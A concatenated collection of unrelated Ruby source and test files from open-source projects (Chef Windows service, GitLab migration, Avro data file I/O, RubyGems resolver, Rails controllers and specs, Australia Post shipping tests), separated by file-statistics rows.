run_warning_displayed = true
end
Chef::Log.trace("Waiting for chef-client run...")
sleep 1
end
end
Chef::Log.info("Service is stopping....")
end
def service_pause
Chef::Log.info("PAUSE request from operating system.")
# We don't need to wake up the service_main if it's waiting
# since this is a PAUSE signal.
if @service_action_mutex.locked?
Chef::Log.info("Currently a chef-client run is happening.")
Chef::Log.info("Service will pause once it's completed.")
else
Chef::Log.info("Service is pausing....")
end
end
def service_resume
# We don't need to wake up the service_main if it's waiting
# since this is a RESUME signal.
Chef::Log.info("RESUME signal received from the OS.")
Chef::Log.info("Service is resuming....")
end
def service_shutdown
Chef::Log.info("SHUTDOWN signal received from the OS.")
# Treat shutdown similar to stop.
service_stop
end
################################################################################
# Internal Methods
################################################################################
private
# Initializes Chef::Client instance and runs it
def run_chef_client
# The chef client will be started in a new process. We have used shell_out to start the chef-client.
# The log_location and config_file of the parent process is passed to the new chef-client process.
# We need to add the --no-fork, as by default it is set to fork=true.
Chef::Log.info "Starting chef-client in a new process"
# Pass config params to the new process
config_params = " --no-fork"
config_params += " -c #{Chef::Config[:config_file]}" unless Chef::Config[:config_file].nil?
# log_location might be an event logger and if so we cannot pass as a command argument
# but shed no tears! If the logger is an event logger, it must have been configured
# as such in the config file and chef-client will use that when no arg is passed here
config_params += " -L #{resolve_log_location}" if resolve_log_location.is_a?(String)
# Starts a new process and waits till the process exits
result = shell_out(
"chef-client.bat #{config_params}",
timeout: Chef::Config[:windows_service][:watchdog_timeout],
logger: Chef::Log
)
Chef::Log.trace (result.stdout).to_s
Chef::Log.trace (result.stderr).to_s
rescue Mixlib::ShellOut::CommandTimeout => e
Chef::Log.error "chef-client timed out\n(#{e})"
Chef::Log.error(<<-EOF)
Your chef-client run timed out. You can increase the time chef-client is given
to complete by configuring windows_service.watchdog_timeout in your client.rb.
EOF
rescue Mixlib::ShellOut::ShellCommandFailed => e
Chef::Log.warn "Not able to start chef-client in new process (#{e})"
rescue => e
Chef::Log.error e
ensure
# Once process exits, we log the current process' pid
Chef::Log.info "Child process exited (pid: #{Process.pid})"
end
def apply_config(config_file_path)
Chef::Config.from_file(config_file_path)
Chef::Config.merge!(config)
end
# Lifted from Chef::Application, with addition of optional startup parameters
# for playing nicely with Windows Services
def reconfigure(startup_parameters = [])
configure_chef startup_parameters
configure_logging
Chef::Config[:chef_server_url] = config[:chef_server_url] if config.key? :chef_server_url
unless Chef::Config[:exception_handlers].any? { |h| Chef::Handler::ErrorReport === h }
Chef::Config[:exception_handlers] << Chef::Handler::ErrorReport.new
end
Chef::Config[:interval] ||= 1800
end
# Lifted from application.rb
# See application.rb for related comments.
def configure_logging
Chef::Log.init(MonoLogger.new(resolve_log_location))
if want_additional_logger?
configure_stdout_logger
end
Chef::Log.level = resolve_log_level
end
def configure_stdout_logger
stdout_logger = MonoLogger.new(STDOUT)
stdout_logger.formatter = Chef::Log.logger.formatter
Chef::Log.loggers << stdout_logger
end
# Based on config and whether or not STDOUT is a tty, should we setup a
# secondary logger for stdout?
def want_additional_logger?
( Chef::Config[:log_location] != STDOUT ) && STDOUT.tty? && !Chef::Config[:daemonize]
end
# Use of output formatters is assumed if `force_formatter` is set or if
# `force_logger` is not set
def using_output_formatter?
Chef::Config[:force_formatter] || !Chef::Config[:force_logger]
end
def auto_log_level?
Chef::Config[:log_level] == :auto
end
def resolve_log_location
# STDOUT is the default log location, but makes no sense for a windows service
Chef::Config[:log_location] == STDOUT ? DEFAULT_LOG_LOCATION : Chef::Config[:log_location]
end
# if log_level is `:auto`, convert it to :warn (when using output formatter)
# or :info (no output formatter). See also +using_output_formatter?+
def resolve_log_level
if auto_log_level?
if using_output_formatter?
:warn
else
:info
end
else
Chef::Config[:log_level]
end
end
def configure_chef(startup_parameters)
# Bit of a hack ahead:
# It is possible to specify a service's binary_path_name with arguments, like "foo.exe -x argX".
# It is also possible to specify startup parameters separately, either via the Services manager
# or by using the registry (I think).
# In order to accommodate all possible sources of parameterization, we first parse any command line
# arguments. We then parse any startup parameters. This works, because Mixlib::CLI reuses its internal
# 'config' hash; thus, anything in startup parameters will override any command line parameters that
# might be set via the service's binary_path_name
#
# All these parameters then get layered on top of those from Chef::Config
parse_options # Operates on ARGV by default
parse_options startup_parameters
begin
case config[:config_file]
when /^(http|https):\/\//
Chef::HTTP.new("").streaming_request(config[:config_file]) { |f| apply_config(f.path) }
else
::File.open(config[:config_file]) { |f| apply_config(f.path) }
end
rescue Errno::ENOENT
Chef::Log.warn("*****************************************")
Chef::Log.warn("Did not find config file: #{config[:config_file]}, using command line options.")
Chef::Log.warn("*****************************************")
Chef::Config.merge!(config)
rescue SocketError
Chef::Application.fatal!("Error getting config file #{Chef::Config[:config_file]}")
rescue Chef::Exceptions::ConfigurationError => error
Chef::Application.fatal!("Error processing config file #{Chef::Config[:config_file]} with error #{error.message}")
rescue Exception => error
Chef::Application.fatal!("Unknown error processing config file #{Chef::Config[:config_file]} with error #{error.message}")
end
end
end
end
end
# To run this file as a service, it must be called as a script from within
# the Windows Service framework. In that case, kick off the main loop!
if __FILE__ == $0
Chef::Application::WindowsService.mainloop
end
| 37.43787 | 132 | 0.613166 |
397b85c98cdcaed5f35b4a1f2eb21d26685044d7 | 451 | module Refinery
module News
module Admin
class ItemsController < ::Refinery::AdminController
crudify :'refinery/news/item',
sortable: false,
order: "publish_date DESC",
xhr_paging: true
private
def item_params
params.require(:item).permit(:title, :body, :content, :source, :publish_date, :expiration_date)
end
end
end
end
end
| 21.47619 | 107 | 0.569845 |
081a1b1fa978ea73308b71e28b3f8d2bfa87d647 | 112 | # frozen_string_literal: true
class CatalogController < ApplicationController
include Blacklight::Catalog
end
| 22.4 | 47 | 0.848214 |
6ada370c9af2f98da3e0f84e21005d33e241eb56 | 348 | class ContainerBuildController < ApplicationController
include ContainersCommonMixin
before_action :check_privileges
before_action :get_session_data
after_action :cleanup_action
after_action :set_session_data
def show_list
process_show_list
end
private ############################
def display_name
"Builds"
end
end
| 18.315789 | 54 | 0.735632 |
26a7cfd2ff6f22c3e7e40867031a112855b1850a | 1,732 | require "rails_helper"
RSpec.describe CreateAuditLogsWorker, type: :job do
describe "#perform_later" do
let!(:user) { create :user }
let(:record_class) { "Patient" }
let(:records) { create_list(record_class.underscore.to_sym, 3) }
let(:record_ids) { records.pluck(:id) }
let(:action) { "fetch" }
it "queues the job on low" do
expect {
CreateAuditLogsWorker.perform_async({user_id: user.id,
record_class: record_class,
record_ids: record_ids,
action: action,
time: Time.current}.to_json)
}.to change(Sidekiq::Queues["low"], :size).by(1)
CreateAuditLogsWorker.drain
end
it "Writes fetch audit logs for the given records" do
Timecop.freeze do
Sidekiq::Testing.inline! do
records.each do |record|
expect(AuditLogger)
.to receive(:info).with({user: user.id,
auditable_type: "Patient",
auditable_id: record.id,
action: "fetch",
time: Time.current}.to_json)
end
end
CreateAuditLogsWorker.perform_async({user_id: user.id,
record_class: record_class,
record_ids: record_ids,
action: action,
time: Time.current}.to_json)
CreateAuditLogsWorker.drain
end
end
end
end
| 37.652174 | 73 | 0.468822 |
abd6a32f9c14f02fd7f33951c85921bceb2d6bbe | 990 | # Wrapper method for quickly loading, rendering ERB templates
# and uploading them to the server.
def template(from, to)
erb = File.read(File.expand_path("../templates/#{from}", __FILE__))
put ERB.new(erb).result(binding), to
end
# Wrapper method to set default values for recipes.
def set_default(name, *args, &block)
set(name, *args, &block) unless exists?(name)
end
# Review and modify the tasks below on a per-app/language/framework basis.
namespace :deploy do
after "deploy:update_code", "deploy:migrate"
after "deploy:finalize_update", "deploy:symlink_cache"
desc "Symlink temporary cache from shared to the release"
task :symlink_cache, :roles => :app do
run "ln -nfs '#{shared_path}/tmp/cache' '#{release_path}/tmp/cache'"
end
after "deploy:setup", "deploy:setup_shared"
desc "Sets up additional folders/files after deploy:setup."
task :setup_shared do
run "mkdir -p '#{shared_path}/config'"
run "mkdir -p '#{shared_path}/tmp/cache'"
end
end
| 33 | 74 | 0.722222 |
f8508b5fbdfc1575714e2c728f51dd4a059e3c57 | 2,286 | # frozen_string_literal: true
# rubocop:disable Metrics/MethodLength
# rubocop:disable Metrics/LineLength
# rubocop:disable Style/Documentation
module Gitlab
module BackgroundMigration
class PopulateForkNetworksRange
def perform(start_id, end_id)
log("Creating fork networks for forked project links: #{start_id} - #{end_id}")
ActiveRecord::Base.connection.execute <<~INSERT_NETWORKS
INSERT INTO fork_networks (root_project_id)
SELECT DISTINCT forked_project_links.forked_from_project_id
FROM forked_project_links
WHERE NOT EXISTS (
SELECT true
FROM forked_project_links inner_links
WHERE inner_links.forked_to_project_id = forked_project_links.forked_from_project_id
)
AND NOT EXISTS (
SELECT true
FROM fork_networks
WHERE forked_project_links.forked_from_project_id = fork_networks.root_project_id
)
AND EXISTS (
SELECT true
FROM projects
WHERE projects.id = forked_project_links.forked_from_project_id
)
AND forked_project_links.id BETWEEN #{start_id} AND #{end_id}
INSERT_NETWORKS
log("Creating memberships for root projects: #{start_id} - #{end_id}")
ActiveRecord::Base.connection.execute <<~INSERT_ROOT
INSERT INTO fork_network_members (fork_network_id, project_id)
SELECT DISTINCT fork_networks.id, fork_networks.root_project_id
FROM fork_networks
INNER JOIN forked_project_links
ON forked_project_links.forked_from_project_id = fork_networks.root_project_id
WHERE NOT EXISTS (
SELECT true
FROM fork_network_members
WHERE fork_network_members.project_id = fork_networks.root_project_id
)
AND forked_project_links.id BETWEEN #{start_id} AND #{end_id}
INSERT_ROOT
delay = BackgroundMigration::CreateForkNetworkMembershipsRange::RESCHEDULE_DELAY
BackgroundMigrationWorker.perform_in(delay, "CreateForkNetworkMembershipsRange", [start_id, end_id])
end
def log(message)
Rails.logger.info("#{self.class.name} - #{message}")
end
end
end
end
| 35.169231 | 108 | 0.68154 |
4a1f202592374d159e8e94dda4f58daa3a25e522 | 596 | require 'spec_helper'
describe ToyAttributes::Observer do
it "creates table for new models" do
Warrior.table_exists?.should == true
end
it "creates the correct column_type" do
Weapon.columns_hash['name'].type.should == :string
Weapon.columns_hash['min_damage'].type.should == :integer
Weapon.columns_hash['max_damage'].type.should == :integer
end
it "changes the column type" do
Warrior.text :story
Warrior.columns_hash['story'].type.should == :text
end
it "accepts default option" do
Weapon.new.grade.should == 1
end
end
| 23.84 | 62 | 0.677852 |
ed824cf2d950e5b09692445ce44601b255c10f3e | 52 | all
rule 'MD007', :indent => 4
exclude_rule "MD041"
| 13 | 26 | 0.692308 |
61a65e906a138d4a11b753d1afc079e144567b90 | 222 | class Question < ActiveRecord::Base
belongs_to :user
has_many :answers
validates :content, presence: true
def self.count_today
Question.where('created_at >= ?', Time.zone.now.beginning_of_day).count
end
end
| 22.2 | 75 | 0.743243 |
1c0b0378500d257e4660ae38f82016255d187f4a | 238 | class AddAreaEditorCommentsToSubmissions < ActiveRecord::Migration
def change
add_column :submissions, :area_editor_comments_for_managing_editors, :text
add_column :submissions, :area_editor_comments_for_author, :text
end
end
| 34 | 78 | 0.827731 |
7a23d93565d89c7e87bd300d913515163974efc5 | 597 | require "json"
package = JSON.parse(File.read(File.join(__dir__, "package.json")))
Pod::Spec.new do |s|
s.name = "react-native-iovation-deviceprint"
s.version = package["version"]
s.summary = package["description"]
s.homepage = package["homepage"]
s.license = package["license"]
s.authors = package["author"]
s.platforms = { :ios => "10.0" }
s.source = { :git => "https://github.com/JustLance/react-native-iovation-deviceprint.git", :tag => "#{s.version}" }
s.source_files = "ios/**/*.{h,m,mm,swift}"
s.dependency "React-Core"
end
| 29.85 | 123 | 0.61139 |
f7ff188044ffe3e158fdb12f9440a58ec7f923ba | 1,410 | require 'test_helper'
class FormsControllerTest < ActionDispatch::IntegrationTest
include Devise::Test::IntegrationHelpers
include ActiveModelSerializers::Test::Schema
include ActiveModelSerializers::Test::Serializer
setup do
@form = forms(:one)
sign_in users(:admin)
end
test 'api should get index' do
get api_forms_url
res = JSON.parse response.body
assert_equal Form.latest_versions.count, res.count
assert_response :success
assert_response_schema('forms/show.json')
end
test 'api should show form' do
get api_form_url(@form.version_independent_id)
assert_response :success
assert_serializer 'FormSerializer'
assert_response_schema('forms/show.json')
end
test 'api should show form of specific version' do
get api_form_url(@form.version_independent_id, version: 1)
assert_response :success
res = JSON.parse response.body
assert_equal(res['version'], 1)
end
test 'api should 404 on form that doesnt exist' do
get api_form_url(99)
assert_response :not_found
res = JSON.parse response.body
assert_equal(res['message'], 'Resource Not Found')
end
test 'api should 404 on form version that doesnt exist' do
get api_form_url(@form.version_independent_id, version: 99)
assert_response :not_found
res = JSON.parse response.body
assert_equal(res['message'], 'Resource Not Found')
end
end
| 28.77551 | 63 | 0.739716 |
7a0420a7ebb3012dc33962d07a691f7f4a70254b | 274 | # frozen_string_literal: true
module Lokalise
module Collections
class TeamUserGroup < Base
DATA_KEY = 'UserGroup'
class << self
def endpoint(team_id, *_args)
path_from teams: [team_id, 'groups']
end
end
end
end
end
| 17.125 | 46 | 0.616788 |
4a08a2eafc5f22a70ef6613e6d261094d8c13f91 | 8,274 | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'openssl'
module Avro
module DataFile
VERSION = 1
MAGIC = "Obj" + [VERSION].pack('c')
MAGIC_SIZE = MAGIC.size
SYNC_SIZE = 16
SYNC_INTERVAL = 1000 * SYNC_SIZE
META_SCHEMA = Schema.parse('{"type": "map", "values": "bytes"}')
VALID_CODECS = ['null']
VALID_ENCODINGS = ['binary'] # not used yet
class DataFileError < AvroError; end
def self.open(file_path, mode='r', schema=nil)
schema = Avro::Schema.parse(schema) if schema
case mode
when 'w'
unless schema
raise DataFileError, "Writing an Avro file requires a schema."
end
io = open_writer(File.open(file_path, 'wb'), schema)
when 'r'
io = open_reader(File.open(file_path, 'rb'), schema)
else
raise DataFileError, "Only modes 'r' and 'w' allowed. You gave #{mode.inspect}."
end
yield io if block_given?
io
ensure
io.close if block_given? && io
end
class << self
private
def open_writer(file, schema)
writer = Avro::IO::DatumWriter.new(schema)
Avro::DataFile::Writer.new(file, writer, schema)
end
def open_reader(file, schema)
reader = Avro::IO::DatumReader.new(nil, schema)
Avro::DataFile::Reader.new(file, reader)
end
end
class Writer
def self.generate_sync_marker
OpenSSL::Random.random_bytes(16)
end
attr_reader :writer, :encoder, :datum_writer, :buffer_writer, :buffer_encoder, :sync_marker, :meta
attr_accessor :block_count
def initialize(writer, datum_writer, writers_schema=nil)
# If writers_schema is not present, presume we're appending
@writer = writer
@encoder = IO::BinaryEncoder.new(@writer)
@datum_writer = datum_writer
@buffer_writer = StringIO.new('', 'w')
@buffer_encoder = IO::BinaryEncoder.new(@buffer_writer)
@block_count = 0
@meta = {}
if writers_schema
@sync_marker = Writer.generate_sync_marker
meta['avro.codec'] = 'null'
meta['avro.schema'] = writers_schema.to_s
datum_writer.writers_schema = writers_schema
write_header
else
# open writer for reading to collect metadata
dfr = Reader.new(writer, Avro::IO::DatumReader.new)
# FIXME(jmhodges): collect arbitrary metadata
# collect metadata
@sync_marker = dfr.sync_marker
meta['avro.codec'] = dfr.meta['avro.codec']
# get schema used to write existing file
schema_from_file = dfr.meta['avro.schema']
meta['avro.schema'] = schema_from_file
datum_writer.writers_schema = Schema.parse(schema_from_file)
# seek to the end of the file and prepare for writing
writer.seek(0,2)
end
end
# Append a datum to the file
def <<(datum)
datum_writer.write(datum, buffer_encoder)
self.block_count += 1
# if the data to write is larger than the sync interval, write
# the block
if buffer_writer.tell >= SYNC_INTERVAL
write_block
end
end
# Return the current position as a value that may be passed to
# DataFileReader.seek(long). Forces the end of the current block,
# emitting a synchronization marker.
def sync
write_block
writer.tell
end
# Flush the current state of the file, including metadata
def flush
write_block
writer.flush
end
def close
flush
writer.close
end
private
def write_header
# write magic
writer.write(MAGIC)
# write metadata
datum_writer.write_data(META_SCHEMA, meta, encoder)
# write sync marker
writer.write(sync_marker)
end
# TODO(jmhodges): make a schema for blocks and use datum_writer
# TODO(jmhodges): do we really need the number of items in the block?
# TODO(jmhodges): use codec when writing the block contents
def write_block
if block_count > 0
# write number of items in block and block size in bytes
encoder.write_long(block_count)
to_write = buffer_writer.string
encoder.write_long(to_write.size)
# write block contents
if meta['avro.codec'] == 'null'
writer.write(to_write)
else
msg = "#{meta['avro.codec'].inspect} coded is not supported"
raise DataFileError, msg
end
# write sync marker
writer.write(sync_marker)
# reset buffer
buffer_writer.truncate(0)
self.block_count = 0
end
end
end
# Read files written by DataFileWriter
class Reader
include ::Enumerable
attr_reader :reader, :decoder, :datum_reader, :sync_marker, :meta, :file_length
attr_accessor :block_count
def initialize(reader, datum_reader)
@reader = reader
@decoder = IO::BinaryDecoder.new(reader)
@datum_reader = datum_reader
# read the header: magic, meta, sync
read_header
# ensure the codec is valid
codec_from_file = meta['avro.codec']
if codec_from_file && ! VALID_CODECS.include?(codec_from_file)
raise DataFileError, "Unknown codec: #{codec_from_file}"
end
# get ready to read
@block_count = 0
datum_reader.writers_schema = Schema.parse meta['avro.schema']
end
# Iterates through each datum in this file
# TODO(jmhodges): handle block of length zero
def each
loop do
if block_count == 0
case
when eof?; break
when skip_sync
break if eof?
read_block_header
else
read_block_header
end
end
datum = datum_reader.read(decoder)
self.block_count -= 1
yield(datum)
end
end
def eof?; reader.eof?; end
def close
reader.close
end
private
def read_header
# seek to the beginning of the file to get magic block
reader.seek(0, 0)
# check magic number
magic_in_file = reader.read(MAGIC_SIZE)
if magic_in_file.size < MAGIC_SIZE
msg = 'Not an Avro data file: shorter than the Avro magic block'
raise DataFileError, msg
elsif magic_in_file != MAGIC
msg = "Not an Avro data file: #{magic_in_file.inspect} doesn't match #{MAGIC.inspect}"
raise DataFileError, msg
end
# read metadata
@meta = datum_reader.read_data(META_SCHEMA,
META_SCHEMA,
decoder)
# read sync marker
@sync_marker = reader.read(SYNC_SIZE)
end
def read_block_header
self.block_count = decoder.read_long
decoder.read_long # not doing anything with length in bytes
end
# read the length of the sync marker; if it matches the sync
# marker, return true. Otherwise, seek back to where we started
# and return false
def skip_sync
proposed_sync_marker = reader.read(SYNC_SIZE)
if proposed_sync_marker != sync_marker
reader.seek(-SYNC_SIZE, 1)
false
else
true
end
end
end
end
end
| 29.870036 | 104 | 0.612159 |
91c033ac66551b943eea05bc00813ac951153f11 | 674 | # frozen_string_literal: true
require "forwardable"
module EveOnline
module ESI
class UniverseGraphic < Base
extend Forwardable
API_PATH = "/v1/universe/graphics/%<graphic_id>s/"
attr_reader :id
def initialize(options)
super
@id = options.fetch(:id)
end
def_delegators :model, :as_json, :collision_file, :graphic_file,
:graphic_id, :icon_folder, :sof_dna, :sof_fation_name, :sof_hull_name,
:sof_race_name
def model
@model ||= Models::Graphic.new(response)
end
def scope
end
def path
format(API_PATH, graphic_id: id)
end
end
end
end
| 18.216216 | 78 | 0.621662 |
bf05ed8a3b3e347fea9e95407f0057dc6c158c15 | 122 | # frozen_string_literal: true
module Praxis
module Exceptions
class StageNotFound < RuntimeError
end
end
end
| 13.555556 | 38 | 0.754098 |
21014e81675162f51f421b9b234285b6872b2de7 | 594 | require_dependency "cor1440_gen/concerns/controllers/proyectosfinancieros_controller"
module Cor1440Gen
class ProyectosfinancierosController < Heb412Gen::ModelosController
include Cor1440Gen::Concerns::Controllers::ProyectosfinancierosController
before_action :set_proyectofinanciero,
only: [:show, :edit, :update, :destroy]
skip_before_action :set_proyectofinanciero, only: [:validar]
load_and_authorize_resource class: Cor1440Gen::Proyectofinanciero,
only: [:new, :create, :destroy, :edit, :update, :index, :show,
:objetivospf]
end
end
| 34.941176 | 85 | 0.755892 |
625d425e26fe14dd8871c68382dc1b861b2698bd | 453 | class Sub_Category
extend Storable::Class
include Storable::Instance
extend Findable
attr_accessor :name, :items
attr_reader :category
def initialize
@items = []
end
def category=(cat)
@category = cat
cat.add_sub_categories(self)
end
def add_items(item)
@items << item
end
# def save
# @@all << self
# end
# def self.all
# @@all
# end
end | 15.62069 | 36 | 0.556291 |
4a0493412134ff670d10587bc91d20ccea64f57d | 1,395 | require 'test_helper'
class NetworkEventsContactsServiceTest < ActiveSupport::TestCase
setup do
@network_event = network_events(:tuggle_network)
end
test "returns a special list of member groupings if the query starts with 'all'" do
assert_equal([{:text=>"All", :children=>[{"id"=>NetworkEventContactsQuery::ALL_VOLUNTEERS, "type"=>"All", "text"=>"All Volunteers"}]}],
NetworkEventsContactsService.call({id: @network_event.id, q: { term: "all vol"} }))
end
test "returns an empty set when there are no matches" do
assert_equal [], NetworkEventsContactsService.call({})
end
test "delegates searching to a query object" do
query = mock('Query Object')
data = [
{"type" => "Site Contact", text: "bob", id: "1234"},
{"type" => "Site Contact", text: "bobby", id: "5678"}
]
query.expects(:call).with(@network_event.id, "bob").returns(data)
# This assertion is checking the results are grouped under the type.
# This allows select2 to show the results under a 'Site Contact' group (similar to <optgroup>)
assert_equal([
{
text: "Site Contact",
children: [
{"type" => "Site Contact", text: "bob", id: "1234"},
{"type" => "Site Contact", text: "bobby", id: "5678"}
]
}
], NetworkEventsContactsService.call({id: @network_event.id, q: {term: "bob"}}, query))
end
end
| 36.710526 | 139 | 0.641577 |
339492f690f835d82c5a091d07418f1151e7939d | 2,009 | ##
# A VendorSet represents gems that have been unpacked into a specific
# directory that contains a gemspec.
#
# This is used for gem dependency file support.
#
# Example:
#
# set = Gem::Resolver::VendorSet.new
#
# set.add_vendor_gem 'rake', 'vendor/rake'
#
# The directory vendor/rake must contain an unpacked rake gem along with a
# rake.gemspec (watching the given name).
class Gem::Resolver::VendorSet < Gem::Resolver::Set
def initialize # :nodoc:
@directories = {}
@specs = {}
end
##
# Adds a specification to the set with the given +name+ which has been
# unpacked into the given +directory+.
def add_vendor_gem name, directory # :nodoc:
gemspec = File.join directory, "#{name}.gemspec"
spec = Gem::Specification.load gemspec
raise Gem::GemNotFoundException,
"unable to find #{gemspec} for gem #{name}" unless spec
spec.full_gem_path = File.expand_path directory
key = "#{spec.name}-#{spec.version}-#{spec.platform}"
@specs[key] = spec
@directories[spec] = directory
end
##
# Returns an Array of VendorSpecification objects matching the
# DependencyRequest +req+.
def find_all req
@specs.values.select do |spec|
req.matches_spec? spec
end.map do |spec|
source = Gem::Source::Vendor.new @directories[spec]
Gem::Resolver::VendorSpecification.new self, spec, source
end
end
##
# Loads a spec with the given +name+, +version+ and +platform+. Since the
# +source+ is defined when the specification was added to index it is not
# used.
def load_spec name, version, platform, source # :nodoc:
key = "#{name}-#{version}-#{platform}"
@specs.fetch key
end
def pretty_print q # :nodoc:
q.group 2, '[VendorSet', ']' do
next if @directories.empty?
q.breakable
dirs = @directories.map do |spec, directory|
"#{spec.full_name}: #{directory}"
end
q.seplist dirs do |dir|
q.text dir
end
end
end
end
| 23.916667 | 76 | 0.652563 |
bf039cb31fc3e78d257c181165f51d91f3eaec1d | 1,353 | # -*- encoding: utf-8 -*-
require File.expand_path('../lib/wrong/version.rb', __FILE__)
Gem::Specification.new do |s|
s.name = "wrong"
s.version = Wrong::VERSION
s.authors = ["Steve Conover", "Alex Chaffee"]
s.email = "[email protected]"
s.homepage = "http://github.com/sconover/wrong"
s.summary = "Wrong provides a general assert method that takes a predicate block. Assertion failure messages are rich in detail."
s.description = <<-EOS.strip
Wrong provides a general assert method that takes a predicate block. Assertion failure
messages are rich in detail. The Wrong idea is to replace all those countless assert_this,
assert_that library methods which only exist to give a more useful failure message than
"assertion failed". Wrong replaces all of them in one fell swoop, since if you can write it
in Ruby, Wrong can make a sensible failure message out of it. Also provided are several
helper methods, like rescuing, capturing, and d.
EOS
s.rubyforge_project = "wrong"
s.files = Dir['lib/**/*']
s.test_files = Dir['test/**/*.rb']
s.extra_rdoc_files = %w[README.markdown]
s.add_dependency "predicated", "~> 0.2.6"
s.add_dependency "ruby_parser", ">= 3.0.1"
s.add_dependency "ruby2ruby", ">= 2.0.1"
s.add_dependency "sexp_processor", ">= 4.0"
s.add_dependency "diff-lcs", "~> 1.2.5"
end
| 41 | 134 | 0.706578 |
1c7c6e71000a0cae9ae551adc9b7692caa712f72 | 1,576 | # frozen_string_literal: true
require 'rails_helper'
describe AlbumDetector do
describe 'assigning a default album' do
context 'when the photo is version 1 (newly created)' do
let(:photo) do
FlickrPhoto.create(id: 'newly created flickr photo', owner: 'owner1', tags: [],
title: 'title1 earth', description: 'desc 1', taken_at: Date.current,
popularity: 100, url: 'http://photo1', thumbnail_url: 'http://photo_thumbnail1',
album: nil, groups: [])
end
before do
expect(photo._version).to eq(1)
end
it 'does not care about versioning the update' do
expect(photo).to receive(:update).with({ album: photo.generate_album_name }, {})
described_class.detect_albums! photo
end
end
context 'when there is a version conflict during the update' do
let(:photo) do
FlickrPhoto.create(id: 'photo version conflict', owner: 'owner1', tags: [],
title: 'title1 earth', description: 'desc 1', taken_at: Date.current,
popularity: 100, url: 'http://photo1', thumbnail_url: 'http://photo_thumbnail1',
album: 'album1', groups: [])
end
before do
expect(photo).to receive(:update).and_raise Elasticsearch::Transport::Transport::Errors::Conflict
end
it 'logs a warning and continue' do
expect(Rails.logger).to receive(:warn)
described_class.detect_albums! photo
end
end
end
end
| 35.818182 | 107 | 0.600254 |
4a8381b1df6ecb421cc4ed302dcf5cdcecfb31b9 | 1,089 | require 'forwardable'
require 'turnip_formatter/resource/step/failure_result'
require 'turnip_formatter/resource/step/pending_result'
module TurnipFormatter
module Resource
module Step
class Step
include ::TurnipFormatter::Resource::Step::FailureResult
include ::TurnipFormatter::Resource::Step::PendingResult
extend Forwardable
def_delegators :@raw, :keyword, :text, :line, :argument
attr_reader :example
#
# @param [RSpec::Core::Example] example
# @param [Turnip::Node::Step] raw
#
def initialize(example, raw)
@example = example
@raw = raw
@executed = false
end
def mark_as_executed
@executed = true
end
def executed?
@executed
end
def status
case
when failed?
:failed
when pending?
:pending
when executed?
:passed
else
:unexecute
end
end
end
end
end
end
| 21.352941 | 64 | 0.550964 |
7a31fa37f3dcc5921cb21f9af4924d4bf695239f | 1,200 | # Copyright (c) 2008-2013 Michael Dvorkin and contributors.
#
# Fat Free CRM is freely distributable under the terms of MIT license.
# See MIT-LICENSE file or http://www.opensource.org/licenses/mit-license.php
#------------------------------------------------------------------------------
require File.expand_path(File.dirname(__FILE__) + '/../../spec_helper')
describe "/users/avatar" do
include UsersHelper
before do
login_and_assign
assign(:user, current_user)
end
it "cancel: should hide [Upload Avatar] form and restore title" do
params[:cancel] = "true"
render
rendered.should include("crm.flip_form('upload_avatar')")
rendered.should include("crm.set_title('upload_avatar', 'My Profile')")
end
it "edit profile: should hide [Edit Profile] and [Change Password] forms and show [Upload Avatar]" do
render
rendered.should include("jQuery('#upload_avatar').html")
rendered.should include("crm.hide_form('edit_profile');")
rendered.should include("crm.hide_form('change_password');")
rendered.should include("crm.flip_form('upload_avatar');")
rendered.should include("crm.set_title('upload_avatar', 'Upload Picture');")
end
end
| 34.285714 | 103 | 0.675833 |
0112b8dcbc23d368ab817c8e73bf273951fad992 | 4,960 | require 'test_helper'
class RemoteAustraliaPostTest < ActiveSupport::TestCase
include ActiveShipping::Test::Credentials
include ActiveShipping::Test::Fixtures
def setup
@carrier = AustraliaPost.new(credentials(:australia_post))
@sydney = location_fixtures[:sydney]
@melbourne = location_fixtures[:melbourne]
@ottawa = location_fixtures[:ottawa]
rescue NoCredentialsFound => e
skip(e.message)
end
def test_valid_credentials
assert @carrier.valid_credentials?
end
def test_service_domestic_simple_request
response = @carrier.find_rates(@sydney, @melbourne, package_fixtures[:wii])
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 1, response.params["responses"].size
assert_equal 1, response.request.size
end
def test_service_domestic_combined_request
response = @carrier.find_rates(@sydney, @melbourne, package_fixtures.values_at(:book, :small_half_pound))
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 2, response.params["responses"].size
assert_equal 2, response.request.size
end
def test_service_international_simple_request
response = @carrier.find_rates(@sydney, @ottawa, package_fixtures[:wii])
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 1, response.params["responses"].size
assert_equal 1, response.request.size
end
def test_service_domestic_combined_request
response = @carrier.find_rates(@sydney, @ottawa, package_fixtures.values_at(:book, :small_half_pound))
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 2, response.params["responses"].size
assert_equal 2, response.request.size
end
def test_service_domestic_response_error
error = assert_raises(ActiveShipping::ResponseError) do
@carrier.find_rates(@sydney, @melbourne, package_fixtures[:largest_gold_bar])
end
assert_equal 'The maximum weight of a parcel is 22 kg.', error.message
end
def test_service_international_response_error
error = assert_raises(ActiveShipping::ResponseError) do
@carrier.find_rates(@sydney, @ottawa, package_fixtures[:largest_gold_bar])
end
assert_equal 'The maximum weight of a parcel is 20 kg.', error.message
end
def test_calculate_domestic_simple_request
response = @carrier.calculate_rates(@sydney, @melbourne, package_fixtures[:wii], 'AUS_PARCEL_EXPRESS')
assert response.is_a?(RateResponse)
assert response.success?
assert response.rates.any?
assert response.rates.first.is_a?(RateEstimate)
assert_equal 1, response.params["responses"].size
assert_equal 1, response.request.size
end
def test_calculate_domestic_combined_request
